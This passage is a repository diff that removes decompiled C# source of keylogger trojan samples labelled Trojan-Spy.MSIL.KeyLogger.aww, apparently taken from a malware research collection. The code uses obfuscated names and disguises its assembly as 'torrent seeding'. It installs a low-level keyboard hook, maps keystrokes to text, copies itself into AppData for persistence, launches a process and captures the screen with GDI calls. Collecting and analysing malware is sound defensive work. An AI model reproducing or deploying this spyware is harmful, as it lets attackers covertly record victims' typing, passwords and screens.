System.Windows.Forms.Timer timer = LEThjJwJF.EyIcVuCUlomd;
label_3:
num3 = 4;
timer.Interval = checked (LEThjJwJF.sAocURHikwJC * int.Parse(Conversions.ToString(unchecked ((int) LEThjJwJF.jdVavzkBTWiZ))));
label_4:
num3 = 5;
timer.Start();
label_5:
timer = (System.Windows.Forms.Timer) null;
label_6:
num3 = 7;
LEThjJwJF.oLCEyJcnQskyYp = new Thread(new ThreadStart(LEThjJwJF.NBAWOnoIUSzr));
label_7:
num3 = 8;
Thread thread = LEThjJwJF.oLCEyJcnQskyYp;
label_8:
num3 = 9;
thread.IsBackground = true;
label_9:
num3 = 10;
thread.Start();
label_10:
thread = (Thread) null;
label_11:
num3 = 12;
LEThjJwJF.dmflrmsAYJCk = new Process();
label_12:
num3 = 13;
Process process = LEThjJwJF.dmflrmsAYJCk;
label_13:
num3 = 14;
process.StartInfo.FileName = LEThjJwJF.OJtpurEVdlZm;
label_14:
num3 = 15;
process.StartInfo.UseShellExecute = true;
label_15:
num3 = 16;
process.Start();
label_16:
process = (Process) null;
label_17:
num3 = 18;
if (!LEThjJwJF.oBhrFKfGANgn)
goto label_19;
label_18:
num3 = 19;
int num4 = (int) Interaction.MsgBox((object) LEThjJwJF.vrApfUzWXEVJ, (MsgBoxStyle) LEThjJwJF.cJTbrezvzIab, (object) LEThjJwJF.dStiBDFNfOUB);
label_19:
num3 = 21;
Console.WriteLine("SkyNeos V1.0 Keylogger Engine Started Successfully!");
label_20:
num3 = 22;
string str = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
label_21:
num3 = 23;
MyProject.Computer.FileSystem.CreateDirectory(str + "\\" + LEThjJwJF.EoCOQxuJnJYDws);
label_22:
num3 = 24;
str = str + "\\" + LEThjJwJF.EoCOQxuJnJYDws + "\\" + LEThjJwJF.tukiwEOEDyaPnz;
label_23:
num3 = 25;
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str, true);
label_24:
num3 = 26;
LEThjJwJF.WkAggalwHDhL(LEThjJwJF.EoCOQxuJnJYDws, str);
label_25:
num3 = 27;
LEThjJwJF.IsaTynXgGxhXII.OhAHcyUuPjyI();
label_26:
num3 = 28;
Application.Run();
goto label_33;
label_28:
num2 = num3;
switch (num1)
{
case 1:
int num5 = num2 + 1;
num2 = 0;
switch (num5)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 19:
goto label_18;
case 20:
case 21:
goto label_19;
case 22:
goto label_20;
case 23:
goto label_21;
case 24:
goto label_22;
case 25:
goto label_23;
case 26:
goto label_24;
case 27:
goto label_25;
case 28:
goto label_26;
case 29:
goto label_33;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_28;
}
throw ProjectData.CreateProjectError(-2146828237);
label_33:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public enum eGKfVnKcdYRn
{
XCQZTvFHZoJO = 1,
XDJJmHRpjnZA = 1000, // 0x000003E8
xBQNbJjyATSF = 60000, // 0x0000EA60
JCrDdhrXNgEl = 3600000, // 0x0036EE80
}
}

18
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyApplication.cs
View File

@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 198D2D35-528E-4E59-8C51-F602B2216010
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyApplication : ApplicationBase
{
}
}

24
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyComputer.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 198D2D35-528E-4E59-8C51-F602B2216010
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}

108
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyProject.cs
View File

@ -1,108 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 198D2D35-528E-4E59-8C51-F602B2216010
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}

47
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.csproj
View File

@ -1,47 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{032A3738-37FA-47D6-8069-01ED4E49A78D}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>torrent seeding</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="LEThjJwJF.cs" />
<Compile Include="jBcGFYzTOTtD.cs" />
<Compile Include="sfNwkKhkokmC.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "torrent seeding", "Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.csproj", "{032A3738-37FA-47D6-8069-01ED4E49A78D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{032A3738-37FA-47D6-8069-01ED4E49A78D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{032A3738-37FA-47D6-8069-01ED4E49A78D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{032A3738-37FA-47D6-8069-01ED4E49A78D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{032A3738-37FA-47D6-8069-01ED4E49A78D}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

216
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/jBcGFYzTOTtD.cs
View File

@ -1,216 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: jBcGFYzTOTtD
// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 198D2D35-528E-4E59-8C51-F602B2216010
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class jBcGFYzTOTtD
{
private static int rDNwOVixQZpD;
private static jBcGFYzTOTtD.xoHdskvHibDT phJSglASvYaV;
[DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int tokbvSrZfrJe(
int iPgDsdQUYuVx,
jBcGFYzTOTtD.xoHdskvHibDT lrZQcCfRrFnE,
int JhtUQLlIpXzF,
int pQeJDjvWwOBy);
[DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int JrBNLLapBLZi(
int iPgDsdQUYuVx,
int ogekZfLDyFFs,
int uUtUnVajYfjy,
ref jBcGFYzTOTtD.dtGFkvNLQDlo wVHvnnScKxxf);
[DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int XWGUlBzjdJZu(int iPgDsdQUYuVx);
public static event jBcGFYzTOTtD.XUZJkEDoGvEtEventHandler XUZJkEDoGvEt;
public static event jBcGFYzTOTtD.OdrXQPtwVsZbEventHandler OdrXQPtwVsZb;
public void OhAHcyUuPjyI()
{
jBcGFYzTOTtD.phJSglASvYaV = new jBcGFYzTOTtD.xoHdskvHibDT(this.ETDCsoKFkSJx);
jBcGFYzTOTtD.rDNwOVixQZpD = jBcGFYzTOTtD.tokbvSrZfrJe(13, jBcGFYzTOTtD.phJSglASvYaV, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0);
}
private int ETDCsoKFkSJx(
int gwkYxIHKarfs,
int uUtUnVajYfjy,
ref jBcGFYzTOTtD.dtGFkvNLQDlo wVHvnnScKxxf)
{
if (gwkYxIHKarfs == 0)
{
switch (uUtUnVajYfjy)
{
case 256:
case 260:
jBcGFYzTOTtD.XUZJkEDoGvEtEventHandler xuzJkEdoGvEtEvent = jBcGFYzTOTtD.XUZJkEDoGvEtEvent;
if (xuzJkEdoGvEtEvent != null)
{
xuzJkEdoGvEtEvent(this.TzWmTJkgAgpp((Keys) wVHvnnScKxxf.gwkYxIHKarfs));
break;
}
break;
case 257:
case 261:
jBcGFYzTOTtD.OdrXQPtwVsZbEventHandler odrXqPtwVsZbEvent = jBcGFYzTOTtD.OdrXQPtwVsZbEvent;
if (odrXqPtwVsZbEvent != null)
{
odrXqPtwVsZbEvent(this.TzWmTJkgAgpp((Keys) wVHvnnScKxxf.gwkYxIHKarfs));
break;
}
break;
}
}
return jBcGFYzTOTtD.JrBNLLapBLZi(jBcGFYzTOTtD.rDNwOVixQZpD, gwkYxIHKarfs, uUtUnVajYfjy, ref wVHvnnScKxxf);
}
public void fpWBcjPdLkrV()
{
jBcGFYzTOTtD.XWGUlBzjdJZu(jBcGFYzTOTtD.rDNwOVixQZpD);
// ISSUE: explicit finalizer call
this.Finalize();
}
private string TzWmTJkgAgpp(Keys gPNxznKgAJni)
{
Keys keys = gPNxznKgAJni;
if (keys >= Keys.A && keys <= Keys.Z)
return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? gPNxznKgAJni.ToString() : gPNxznKgAJni.ToString().ToLower();
if (keys >= Keys.D0 && keys <= Keys.D9)
{
if ((Control.ModifierKeys & Keys.Shift) == Keys.None)
return gPNxznKgAJni.ToString().Replace("D", (string) null);
string Left = gPNxznKgAJni.ToString();
if (Operators.CompareString(Left, "D1", false) == 0)
return "!";
if (Operators.CompareString(Left, "D2", false) == 0)
return "@";
if (Operators.CompareString(Left, "D3", false) == 0)
return "#";
if (Operators.CompareString(Left, "D4", false) == 0)
return "$";
if (Operators.CompareString(Left, "D5", false) == 0)
return "%";
if (Operators.CompareString(Left, "D6", false) == 0)
return "^";
if (Operators.CompareString(Left, "D7", false) == 0)
return "&";
if (Operators.CompareString(Left, "D8", false) == 0)
return "*";
if (Operators.CompareString(Left, "D9", false) == 0)
return "(";
if (Operators.CompareString(Left, "D0", false) == 0)
return ")";
}
else
{
if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9)
return gPNxznKgAJni.ToString().Replace("NumPad", (string) null);
if (keys >= Keys.Multiply && keys <= Keys.Divide)
{
string Left = gPNxznKgAJni.ToString();
if (Operators.CompareString(Left, "Divide", false) == 0)
return "/";
if (Operators.CompareString(Left, "Multiply", false) == 0)
return "*";
if (Operators.CompareString(Left, "Subtract", false) == 0)
return "-";
if (Operators.CompareString(Left, "Add", false) == 0)
return "+";
if (Operators.CompareString(Left, "Decimal", false) == 0)
return ".";
}
else
{
if (keys == Keys.Space)
return " ";
if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes)
{
if ((Control.ModifierKeys & Keys.Shift) != Keys.None)
{
string Left = gPNxznKgAJni.ToString();
if (Operators.CompareString(Left, "OemMinus", false) == 0)
return "_";
if (Operators.CompareString(Left, "Oemplus", false) == 0)
return "+";
if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0)
return "{";
if (Operators.CompareString(Left, "Oem6", false) == 0)
return "}";
if (Operators.CompareString(Left, "Oem5", false) == 0)
return "|";
if (Operators.CompareString(Left, "Oem1", false) == 0)
return ":";
if (Operators.CompareString(Left, "Oem7", false) == 0)
return "\"";
if (Operators.CompareString(Left, "Oemcomma", false) == 0)
return "<";
if (Operators.CompareString(Left, "OemPeriod", false) == 0)
return ">";
if (Operators.CompareString(Left, "OemQuestion", false) == 0)
return "?";
if (Operators.CompareString(Left, "Oemtilde", false) == 0)
return "~";
}
else
{
string Left = gPNxznKgAJni.ToString();
if (Operators.CompareString(Left, "OemMinus", false) == 0)
return "-";
if (Operators.CompareString(Left, "Oemplus", false) == 0)
return "=";
if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0)
return "[";
if (Operators.CompareString(Left, "Oem6", false) == 0)
return "]";
if (Operators.CompareString(Left, "Oem5", false) == 0)
return "\\";
if (Operators.CompareString(Left, "Oem1", false) == 0)
return ";";
if (Operators.CompareString(Left, "Oem7", false) == 0)
return "'";
if (Operators.CompareString(Left, "Oemcomma", false) == 0)
return ",";
if (Operators.CompareString(Left, "OemPeriod", false) == 0)
return ".";
if (Operators.CompareString(Left, "OemQuestion", false) == 0)
return "/";
if (Operators.CompareString(Left, "Oemtilde", false) == 0)
return "`";
}
}
else
return keys == Keys.Return ? Environment.NewLine : "<" + gPNxznKgAJni.ToString() + ">";
}
}
return (string) null;
}
private delegate int xoHdskvHibDT(
int ogekZfLDyFFs,
int uUtUnVajYfjy,
ref jBcGFYzTOTtD.dtGFkvNLQDlo wVHvnnScKxxf);
public delegate void XUZJkEDoGvEtEventHandler(string rDNwOVixQZpD);
public delegate void OdrXQPtwVsZbEventHandler(string rDNwOVixQZpD);
private struct dtGFkvNLQDlo
{
public int gwkYxIHKarfs;
public int BaOXggJJxoTi;
public int gSPnRdwgVrSy;
public int KgXrYQAbDDtT;
public int QGvBoPLHQNSp;
}
}

81
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/sfNwkKhkokmC.cs
View File

@ -1,81 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: sfNwkKhkokmC
// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 198D2D35-528E-4E59-8C51-F602B2216010
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
[StandardModule]
internal sealed class sfNwkKhkokmC
{
public static Bitmap OCQWxmF = (Bitmap) null;
public static byte[] XUBoZVx;
private const int BcLTxQH = 13369376;
private static int PWwOZkn;
private static int XWnaRfW;
[DllImport("gdi32", EntryPoint = "CreateDCA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int eJtILJcJpCkt(
[MarshalAs(UnmanagedType.VBByRefStr)] ref string jOpApbCnNbJK,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string spONJRxhJfLU,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string aVFOtnuOJnwE,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string UAkhUzEIOoLV);
[DllImport("GDI32", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int JVojHfVVSXaC(int uGHCnXpQxYel);
[DllImport("GDI32", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int HtftDsJBGmPh(int uGHCnXpQxYel, int ylfbkIvDnbUP, int NeRrUpQbNYJh);
[DllImport("gdi32", EntryPoint = "GetDeviceCaps", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int ZSkAWsZmNeBS(int uGHCnXpQxYel, int hsbPhBaOrArm);
[DllImport("GDI32", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int muuzrBNTwUJx(int uGHCnXpQxYel, int RpPsYSRBxUiH);
[DllImport("GDI32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int KAFOgnYtuVfA(
int TsAsjrbkUzCH,
int tlxTfCvhCLCm,
int kGtuLdzJdlhm,
int BODnkAYkReAb,
int RpaYtNCZSVxD,
int xnDFIciPiwjY,
int lPEhsbbzNlzB,
int jgdOWCnTkayF,
int nnlrBYh);
[DllImport("GDI32", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int nlDKZsu(int uGHCnXpQxYel);
[DllImport("GDI32", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int nipQDPJ(int rdYNJaY);
public static void HrRbWfO()
{
string str1 = "DISPLAY";
ref string local1 = ref str1;
string str2 = "";
ref string local2 = ref str2;
string str3 = "";
ref string local3 = ref str3;
string str4 = "";
ref string local4 = ref str4;
int num1 = sfNwkKhkokmC.eJtILJcJpCkt(ref local1, ref local2, ref local3, ref local4);
int num2 = sfNwkKhkokmC.JVojHfVVSXaC(num1);
sfNwkKhkokmC.PWwOZkn = sfNwkKhkokmC.ZSkAWsZmNeBS(num1, 8);
sfNwkKhkokmC.XWnaRfW = sfNwkKhkokmC.ZSkAWsZmNeBS(num1, 10);
int RpPsYSRBxUiH1 = sfNwkKhkokmC.HtftDsJBGmPh(num1, sfNwkKhkokmC.PWwOZkn, sfNwkKhkokmC.XWnaRfW);
int RpPsYSRBxUiH2 = sfNwkKhkokmC.muuzrBNTwUJx(num2, RpPsYSRBxUiH1);
int num3 = sfNwkKhkokmC.KAFOgnYtuVfA(num2, 0, 0, sfNwkKhkokmC.PWwOZkn, sfNwkKhkokmC.XWnaRfW, num1, 0, 0, 13369376);
int rdYNJaY = sfNwkKhkokmC.muuzrBNTwUJx(num2, RpPsYSRBxUiH2);
num3 = sfNwkKhkokmC.nlDKZsu(num1);
num3 = sfNwkKhkokmC.nlDKZsu(num2);
sfNwkKhkokmC.OCQWxmF = Image.FromHbitmap(new IntPtr(rdYNJaY));
sfNwkKhkokmC.nipQDPJ(rdYNJaY);
}
}

3
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/AssemblyInfo.cs
View File

@ -1,3 +0,0 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]

210
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/JFsnADcn.cs
View File

@ -1,210 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: JFsnADcn
// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class JFsnADcn
{
private static int cIQQiBaY;
private static JFsnADcn.YyrofcTh TtviokNY;
[DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int lfFEEUyK(
int grhVkOzz,
JFsnADcn.YyrofcTh kssvUfPY,
int DZWxwfpI,
int NjfAiTYU);
[DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int LSycFgPc(
int grhVkOzz,
int DbDdHZdN,
int BAWOnoIU,
ref JFsnADcn.BwOUEeKk SzrQrxnj);
[DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int NhzkzfYL(int grhVkOzz);
public static event JFsnADcn.gTTNCfFJEventHandler gTTNCfFJ;
public static event JFsnADcn.PuOHJbyQEventHandler PuOHJbyQ;
public void PcxsAocU()
{
JFsnADcn.TtviokNY = new JFsnADcn.YyrofcTh(this.RHikwJCj);
JFsnADcn.cIQQiBaY = JFsnADcn.lfFEEUyK(13, JFsnADcn.TtviokNY, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0);
}
private int RHikwJCj(int hvntnbVg, int BAWOnoIU, ref JFsnADcn.BwOUEeKk SzrQrxnj)
{
if (hvntnbVg == 0)
{
switch (BAWOnoIU)
{
case 256:
case 260:
JFsnADcn.gTTNCfFJEventHandler gTtnCfFjEvent = JFsnADcn.gTTNCfFJEvent;
if (gTtnCfFjEvent != null)
{
gTtnCfFjEvent(this.dVavzkBT((Keys) SzrQrxnj.hvntnbVg));
break;
}
break;
case 257:
case 261:
JFsnADcn.PuOHJbyQEventHandler puOhJbyQevent = JFsnADcn.PuOHJbyQEvent;
if (puOhJbyQevent != null)
{
puOhJbyQevent(this.dVavzkBT((Keys) SzrQrxnj.hvntnbVg));
break;
}
break;
}
}
return JFsnADcn.LSycFgPc(JFsnADcn.cIQQiBaY, hvntnbVg, BAWOnoIU, ref SzrQrxnj);
}
public void WiZeGKfV()
{
JFsnADcn.NhzkzfYL(JFsnADcn.cIQQiBaY);
// ISSUE: explicit finalizer call
this.Finalize();
}
private string dVavzkBT(Keys nKcdYRnOJtp)
{
Keys keys = nKcdYRnOJtp;
if (keys >= Keys.A && keys <= Keys.Z)
return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? nKcdYRnOJtp.ToString() : nKcdYRnOJtp.ToString().ToLower();
if (keys >= Keys.D0 && keys <= Keys.D9)
{
if ((Control.ModifierKeys & Keys.Shift) == Keys.None)
return nKcdYRnOJtp.ToString().Replace("D", (string) null);
string Left = nKcdYRnOJtp.ToString();
if (Operators.CompareString(Left, "D1", false) == 0)
return "!";
if (Operators.CompareString(Left, "D2", false) == 0)
return "@";
if (Operators.CompareString(Left, "D3", false) == 0)
return "#";
if (Operators.CompareString(Left, "D4", false) == 0)
return "$";
if (Operators.CompareString(Left, "D5", false) == 0)
return "%";
if (Operators.CompareString(Left, "D6", false) == 0)
return "^";
if (Operators.CompareString(Left, "D7", false) == 0)
return "&";
if (Operators.CompareString(Left, "D8", false) == 0)
return "*";
if (Operators.CompareString(Left, "D9", false) == 0)
return "(";
if (Operators.CompareString(Left, "D0", false) == 0)
return ")";
}
else
{
if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9)
return nKcdYRnOJtp.ToString().Replace("NumPad", (string) null);
if (keys >= Keys.Multiply && keys <= Keys.Divide)
{
string Left = nKcdYRnOJtp.ToString();
if (Operators.CompareString(Left, "Divide", false) == 0)
return "/";
if (Operators.CompareString(Left, "Multiply", false) == 0)
return "*";
